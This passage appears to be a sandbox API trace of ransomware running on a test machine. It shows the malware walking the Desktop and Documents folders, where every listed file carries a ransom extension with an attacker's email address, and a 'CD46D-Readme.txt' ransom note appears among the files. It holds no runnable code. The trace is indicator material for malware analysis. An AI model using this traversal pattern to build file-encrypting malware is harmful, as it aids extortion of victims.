O0l38HTkV-orIpi.mkv.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="SSO0L3~1.CD4")) returned 1 [0139.929] wcscmp (_String1="ss O0l38HTkV-orIpi.mkv.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0139.929] wcscmp (_String1="ss O0l38HTkV-orIpi.mkv.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0139.929] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x320b9f00, ftCreationTime.dwHighDateTime=0x1d4ce8d, ftLastAccessTime.dwLowDateTime=0xfdf76ca0, ftLastAccessTime.dwHighDateTime=0x1d4cf93, ftLastWriteTime.dwLowDateTime=0xfdf76ca0, ftLastWriteTime.dwHighDateTime=0x1d4cf93, nFileSizeHigh=0x0, nFileSizeLow=0xd232, dwReserved0=0x0, dwReserved1=0x0, cFileName="tV1mQT.odp.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="TV1MQT~1.CD4")) returned 1 [0139.929] wcscmp (_String1="tV1mQT.odp.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0139.929] wcscmp (_String1="tV1mQT.odp.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0139.929] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x323c32b0, ftCreationTime.dwHighDateTime=0x1d4c8ec, ftLastAccessTime.dwLowDateTime=0xe17cfa90, ftLastAccessTime.dwHighDateTime=0x1d4cd7c, ftLastWriteTime.dwLowDateTime=0xe17cfa90, ftLastWriteTime.dwHighDateTime=0x1d4cd7c, nFileSizeHigh=0x0, nFileSizeLow=0x5524, dwReserved0=0x0, dwReserved1=0x0, cFileName="uaky9uM-rMbkI9mDaO.ods.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="UAKY9U~1.CD4")) returned 1 [0139.929] wcscmp (_String1="uaky9uM-rMbkI9mDaO.ods.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0139.929] wcscmp (_String1="uaky9uM-rMbkI9mDaO.ods.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0139.929] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d95330, ftCreationTime.dwHighDateTime=0x1d4ce95, ftLastAccessTime.dwLowDateTime=0x5e56d7a0, ftLastAccessTime.dwHighDateTime=0x1d4ce42, ftLastWriteTime.dwLowDateTime=0x5e56d7a0, ftLastWriteTime.dwHighDateTime=0x1d4ce42, nFileSizeHigh=0x0, nFileSizeLow=0x7ef7, dwReserved0=0x0, dwReserved1=0x0, cFileName="uE0JboAQQ00nz_.pps.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="UE0JBO~1.CD4")) returned 1 [0139.929] wcscmp (_String1="uE0JboAQQ00nz_.pps.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0139.929] wcscmp (_String1="uE0JboAQQ00nz_.pps.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0139.929] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0d43f90, ftCreationTime.dwHighDateTime=0x1d4cbc3, ftLastAccessTime.dwLowDateTime=0x3cb19a90, ftLastAccessTime.dwHighDateTime=0x1d4c73a, ftLastWriteTime.dwLowDateTime=0x3cb19a90, ftLastWriteTime.dwHighDateTime=0x1d4c73a, nFileSizeHigh=0x0, nFileSizeLow=0x13f3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="vCebKWN8RS.png.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="VCEBKW~1.CD4")) returned 1 [0139.929] wcscmp (_String1="vCebKWN8RS.png.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0139.929] wcscmp (_String1="vCebKWN8RS.png.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0139.929] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2897140, ftCreationTime.dwHighDateTime=0x1d4d24d, ftLastAccessTime.dwLowDateTime=0x7fcc59f0, ftLastAccessTime.dwHighDateTime=0x1d4cd7a, ftLastWriteTime.dwLowDateTime=0x7fcc59f0, ftLastWriteTime.dwHighDateTime=0x1d4cd7a, nFileSizeHigh=0x0, nFileSizeLow=0x11e0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="vFtm5.png.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="VFTM5P~1.CD4")) returned 1 [0139.929] wcscmp (_String1="vFtm5.png.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0139.929] wcscmp (_String1="vFtm5.png.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0139.929] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29ca81e0, ftCreationTime.dwHighDateTime=0x1d4c860, ftLastAccessTime.dwLowDateTime=0x9ea91740, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x9ea91740, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WaFGTaB5", cAlternateFileName="")) returned 1 [0139.929] wcscmp (_String1="WaFGTaB5", _String2=".") returned 1 [0139.929] wcscmp (_String1="WaFGTaB5", _String2="..") returned 1 [0139.929] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x5e) returned 0x90ebb0 [0139.929] wcscpy (in: _Dest=0x90ebb0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" [0139.929] wcscat (in: _Dest=0x90ebb0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0139.929] wcscat (in: _Dest=0x90ebb0, _Source="WaFGTaB5" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5" [0139.929] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x90ebb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3b8 [0139.932] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dd69be0, ftCreationTime.dwHighDateTime=0x1d4c7e5, ftLastAccessTime.dwLowDateTime=0x3055efc0, ftLastAccessTime.dwHighDateTime=0x1d4ca5b, ftLastWriteTime.dwLowDateTime=0x3055efc0, ftLastWriteTime.dwHighDateTime=0x1d4ca5b, nFileSizeHigh=0x0, nFileSizeLow=0x23ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="wOptiQPJiY3.m4a.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="WOPTIQ~1.CD4")) returned 1 [0139.932] wcscmp (_String1="wOptiQPJiY3.m4a.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0139.932] wcscmp (_String1="wOptiQPJiY3.m4a.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0139.932] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x454f0a60, ftCreationTime.dwHighDateTime=0x1d4d3bb, ftLastAccessTime.dwLowDateTime=0x13d27580, ftLastAccessTime.dwHighDateTime=0x1d4ceb1, ftLastWriteTime.dwLowDateTime=0x13d27580, ftLastWriteTime.dwHighDateTime=0x1d4ceb1, nFileSizeHigh=0x0, nFileSizeLow=0x129ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="yetHxg6wK6sPJgProQ.bmp.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="YETHXG~1.CD4")) returned 1 [0139.932] wcscmp (_String1="yetHxg6wK6sPJgProQ.bmp.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0139.933] wcscmp (_String1="yetHxg6wK6sPJgProQ.bmp.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0139.933] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5548d850, ftCreationTime.dwHighDateTime=0x1d4c83b, ftLastAccessTime.dwLowDateTime=0x2efa8270, ftLastAccessTime.dwHighDateTime=0x1d4d3f3, ftLastWriteTime.dwLowDateTime=0x2efa8270, ftLastWriteTime.dwHighDateTime=0x1d4d3f3, nFileSizeHigh=0x0, nFileSizeLow=0x14f0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="zcym5IUCAH4TdjqOK-a.wav.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="ZCYM5I~1.CD4")) returned 1 [0139.933] wcscmp (_String1="zcym5IUCAH4TdjqOK-a.wav.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0139.933] wcscmp (_String1="zcym5IUCAH4TdjqOK-a.wav.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0139.933] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x573b42e0, ftCreationTime.dwHighDateTime=0x1d4ce64, ftLastAccessTime.dwLowDateTime=0x726a2700, ftLastAccessTime.dwHighDateTime=0x1d4cf5b, ftLastWriteTime.dwLowDateTime=0x726a2700, ftLastWriteTime.dwHighDateTime=0x1d4cf5b, nFileSizeHigh=0x0, nFileSizeLow=0x14fe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="zO8Hii4 rY4J0WL.flv.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="ZO8HII~1.CD4")) returned 1 [0139.933] wcscmp (_String1="zO8Hii4 rY4J0WL.flv.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0139.933] wcscmp (_String1="zO8Hii4 rY4J0WL.flv.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0139.933] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcf113f0, ftCreationTime.dwHighDateTime=0x1d4cdf7, ftLastAccessTime.dwLowDateTime=0xee7bf300, ftLastAccessTime.dwHighDateTime=0x1d4d45b, ftLastWriteTime.dwLowDateTime=0xee7bf300, ftLastWriteTime.dwHighDateTime=0x1d4d45b, nFileSizeHigh=0x0, nFileSizeLow=0xf8ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="Zwcn6.pptx.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="ZWCN6P~1.CD4")) returned 1 [0139.933] wcscmp (_String1="Zwcn6.pptx.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0139.933] wcscmp (_String1="Zwcn6.pptx.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0139.933] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcf113f0, ftCreationTime.dwHighDateTime=0x1d4cdf7, ftLastAccessTime.dwLowDateTime=0xee7bf300, ftLastAccessTime.dwHighDateTime=0x1d4d45b, ftLastWriteTime.dwLowDateTime=0xee7bf300, ftLastWriteTime.dwHighDateTime=0x1d4d45b, nFileSizeHigh=0x0, nFileSizeLow=0xf8ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="Zwcn6.pptx.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="ZWCN6P~1.CD4")) returned 0 [0139.933] FindClose (in: hFindFile=0x8da1d0 | out: hFindFile=0x8da1d0) returned 1 [0139.933] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x911d58) returned 1 [0139.933] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e4318) returned 1 [0139.933] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e4370) returned 1 Thread: id = 1713 os_tid = 0x860 [0139.936] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x54) returned 0x8ff128 [0139.936] wcscpy (in: _Dest=0x8ff128, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0139.936] wcscat (in: _Dest=0x8ff128, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0139.936] wcscat (in: _Dest=0x8ff128, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\*" [0139.936] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x911d58 [0139.936] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\*", lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa06175a0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0xa06175a0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8da1d0 [0139.936] wcscmp (_String1=".", _String2=".") returned 0 [0139.936] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa06175a0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0xa06175a0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.198] wcscmp (_String1="..", _String2=".") returned 1 [0140.198] wcscmp (_String1="..", _String2="..") returned 0 [0140.198] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe76f1610, ftCreationTime.dwHighDateTime=0x1d52de7, ftLastAccessTime.dwLowDateTime=0x67cd42b0, ftLastAccessTime.dwHighDateTime=0x1d521da, ftLastWriteTime.dwLowDateTime=0x67cd42b0, ftLastWriteTime.dwHighDateTime=0x1d521da, nFileSizeHigh=0x0, nFileSizeLow=0x845e, dwReserved0=0x0, dwReserved1=0x0, cFileName="1KOlRUC-eUfMQ.pptx.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="1KOLRU~1.CD4")) returned 1 [0140.198] wcscmp (_String1="1KOlRUC-eUfMQ.pptx.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0140.198] wcscmp (_String1="1KOlRUC-eUfMQ.pptx.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0140.198] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42ee7cd0, ftCreationTime.dwHighDateTime=0x1d4ce23, ftLastAccessTime.dwLowDateTime=0x5d040820, ftLastAccessTime.dwHighDateTime=0x1d4cbed, ftLastWriteTime.dwLowDateTime=0x5d040820, ftLastWriteTime.dwHighDateTime=0x1d4cbed, nFileSizeHigh=0x0, nFileSizeLow=0xa5fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="2ArZby6Up Ga10Yk.ppt.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="2ARZBY~1.CD4")) returned 1 [0140.198] wcscmp (_String1="2ArZby6Up Ga10Yk.ppt.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0140.198] wcscmp (_String1="2ArZby6Up Ga10Yk.ppt.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0140.198] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xccd88360, ftCreationTime.dwHighDateTime=0x1d4cf03, ftLastAccessTime.dwLowDateTime=0x500a80a0, ftLastAccessTime.dwHighDateTime=0x1d4c700, ftLastWriteTime.dwLowDateTime=0x500a80a0, ftLastWriteTime.dwHighDateTime=0x1d4c700, nFileSizeHigh=0x0, nFileSizeLow=0x1da7, dwReserved0=0x0, dwReserved1=0x0, cFileName="6EtqjVsDR7 tHY.docx.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="6ETQJV~1.CD4")) returned 1 [0140.198] wcscmp (_String1="6EtqjVsDR7 tHY.docx.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0140.198] wcscmp (_String1="6EtqjVsDR7 tHY.docx.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0140.198] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x12d4a900, ftCreationTime.dwHighDateTime=0x1d4cebb, ftLastAccessTime.dwLowDateTime=0xa4b40ca0, ftLastAccessTime.dwHighDateTime=0x1d4cb12, ftLastWriteTime.dwLowDateTime=0xa4b40ca0, ftLastWriteTime.dwHighDateTime=0x1d4cb12, nFileSizeHigh=0x0, nFileSizeLow=0x8c3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="6pt4fyXzESfB6THjM.rtf.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="6PT4FY~1.CD4")) returned 1 [0140.198] wcscmp (_String1="6pt4fyXzESfB6THjM.rtf.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0140.198] wcscmp (_String1="6pt4fyXzESfB6THjM.rtf.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0140.198] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89b742d0, ftCreationTime.dwHighDateTime=0x1d4d591, ftLastAccessTime.dwLowDateTime=0xd6514050, ftLastAccessTime.dwHighDateTime=0x1d4d276, ftLastWriteTime.dwLowDateTime=0xd6514050, ftLastWriteTime.dwHighDateTime=0x1d4d276, nFileSizeHigh=0x0, nFileSizeLow=0x1033e, dwReserved0=0x0, dwReserved1=0x0, cFileName="80nPCNBaVNGcOQ.csv.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="80NPCN~1.CD4")) returned 1 [0140.198] wcscmp (_String1="80nPCNBaVNGcOQ.csv.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0140.198] wcscmp (_String1="80nPCNBaVNGcOQ.csv.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0140.198] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc53a10, ftCreationTime.dwHighDateTime=0x1d586cb, ftLastAccessTime.dwLowDateTime=0x9427e2f0, ftLastAccessTime.dwHighDateTime=0x1d533ca, ftLastWriteTime.dwLowDateTime=0x9427e2f0, ftLastWriteTime.dwHighDateTime=0x1d533ca, nFileSizeHigh=0x0, nFileSizeLow=0x13ff5, dwReserved0=0x0, dwReserved1=0x0, cFileName="8AlElqKzT6WsejUI.pptx.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="8ALELQ~1.CD4")) returned 1 [0140.198] wcscmp (_String1="8AlElqKzT6WsejUI.pptx.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0140.199] wcscmp (_String1="8AlElqKzT6WsejUI.pptx.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0140.199] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67130330, ftCreationTime.dwHighDateTime=0x1d57b5a, ftLastAccessTime.dwLowDateTime=0x8d186870, ftLastAccessTime.dwHighDateTime=0x1d573f0, ftLastWriteTime.dwLowDateTime=0x8d186870, ftLastWriteTime.dwHighDateTime=0x1d573f0, nFileSizeHigh=0x0, nFileSizeLow=0xce2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="9fsUy9uf9pEq.xlsx.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="9FSUY9~1.CD4")) returned 1 [0140.199] wcscmp (_String1="9fsUy9uf9pEq.xlsx.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0140.199] wcscmp (_String1="9fsUy9uf9pEq.xlsx.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0140.199] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ac3b720, ftCreationTime.dwHighDateTime=0x1d5945e, ftLastAccessTime.dwLowDateTime=0x9ac3b720, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x9ac879e0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x6fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="CD46D-Readme.txt", cAlternateFileName="CD46D-~1.TXT")) returned 1 [0140.199] wcscmp (_String1="CD46D-Readme.txt", _String2=".") returned 1 [0140.199] wcscmp (_String1="CD46D-Readme.txt", _String2="..") returned 1 [0140.199] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81a9c2c0, ftCreationTime.dwHighDateTime=0x1d4c5f6, ftLastAccessTime.dwLowDateTime=0x33aa4ad0, ftLastAccessTime.dwHighDateTime=0x1d4d272, ftLastWriteTime.dwLowDateTime=0x33aa4ad0, ftLastWriteTime.dwHighDateTime=0x1d4d272, nFileSizeHigh=0x0, nFileSizeLow=0x173f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CDaJgB1BrVT5RJ.odt.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="CDAJGB~1.CD4")) returned 1 [0140.199] wcscmp (_String1="CDaJgB1BrVT5RJ.odt.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0140.199] wcscmp (_String1="CDaJgB1BrVT5RJ.odt.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0140.199] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d207440, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0140.199] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0140.199] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0140.199] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9fcf890, ftCreationTime.dwHighDateTime=0x1d56e19, ftLastAccessTime.dwLowDateTime=0xe1fee060, ftLastAccessTime.dwHighDateTime=0x1d530c7, ftLastWriteTime.dwLowDateTime=0xe1fee060, ftLastWriteTime.dwHighDateTime=0x1d530c7, nFileSizeHigh=0x0, nFileSizeLow=0x2e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="dX8hTWaUqITRnZtC5L.xlsx.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="DX8HTW~1.CD4")) returned 1 [0140.199] wcscmp (_String1="dX8hTWaUqITRnZtC5L.xlsx.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0140.199] wcscmp (_String1="dX8hTWaUqITRnZtC5L.xlsx.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0140.199] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe418e530, ftCreationTime.dwHighDateTime=0x1d4d39d, ftLastAccessTime.dwLowDateTime=0xa51e58f0, ftLastAccessTime.dwHighDateTime=0x1d4c769, ftLastWriteTime.dwLowDateTime=0xa51e58f0, ftLastWriteTime.dwHighDateTime=0x1d4c769, nFileSizeHigh=0x0, nFileSizeLow=0x2801, dwReserved0=0x0, dwReserved1=0x0, cFileName="EmD2Hm8.doc.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="EMD2HM~1.CD4")) returned 1 [0140.199] wcscmp (_String1="EmD2Hm8.doc.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0140.199] wcscmp (_String1="EmD2Hm8.doc.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0140.199] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ea11b60, ftCreationTime.dwHighDateTime=0x1d5561b, ftLastAccessTime.dwLowDateTime=0x28ff100, ftLastAccessTime.dwHighDateTime=0x1d52cdd, ftLastWriteTime.dwLowDateTime=0x28ff100, ftLastWriteTime.dwHighDateTime=0x1d52cdd, nFileSizeHigh=0x0, nFileSizeLow=0x819a, dwReserved0=0x0, dwReserved1=0x0, cFileName="EnrP6X.pptx.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="ENRP6X~1.CD4")) returned 1 [0140.199] wcscmp (_String1="EnrP6X.pptx.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0140.199] wcscmp (_String1="EnrP6X.pptx.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0140.199] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29b83480, ftCreationTime.dwHighDateTime=0x1d56a55, ftLastAccessTime.dwLowDateTime=0xb2b5f230, ftLastAccessTime.dwHighDateTime=0x1d5552f, ftLastWriteTime.dwLowDateTime=0xb2b5f230, ftLastWriteTime.dwHighDateTime=0x1d5552f, nFileSizeHigh=0x0, nFileSizeLow=0x13a3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="fNSPzxua.docx.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="FNSPZX~1.CD4")) returned 1 [0140.199] wcscmp (_String1="fNSPzxua.docx.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0140.199] wcscmp (_String1="fNSPzxua.docx.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0140.199] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e754fd0, ftCreationTime.dwHighDateTime=0x1d4d002, ftLastAccessTime.dwLowDateTime=0xf0530db0, ftLastAccessTime.dwHighDateTime=0x1d4ccec, ftLastWriteTime.dwLowDateTime=0xf0530db0, ftLastWriteTime.dwHighDateTime=0x1d4ccec, nFileSizeHigh=0x0, nFileSizeLow=0x1859c, dwReserved0=0x0, dwReserved1=0x0, cFileName="F_ELC.ots.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="F_ELCO~1.CD4")) returned 1 [0140.199] wcscmp 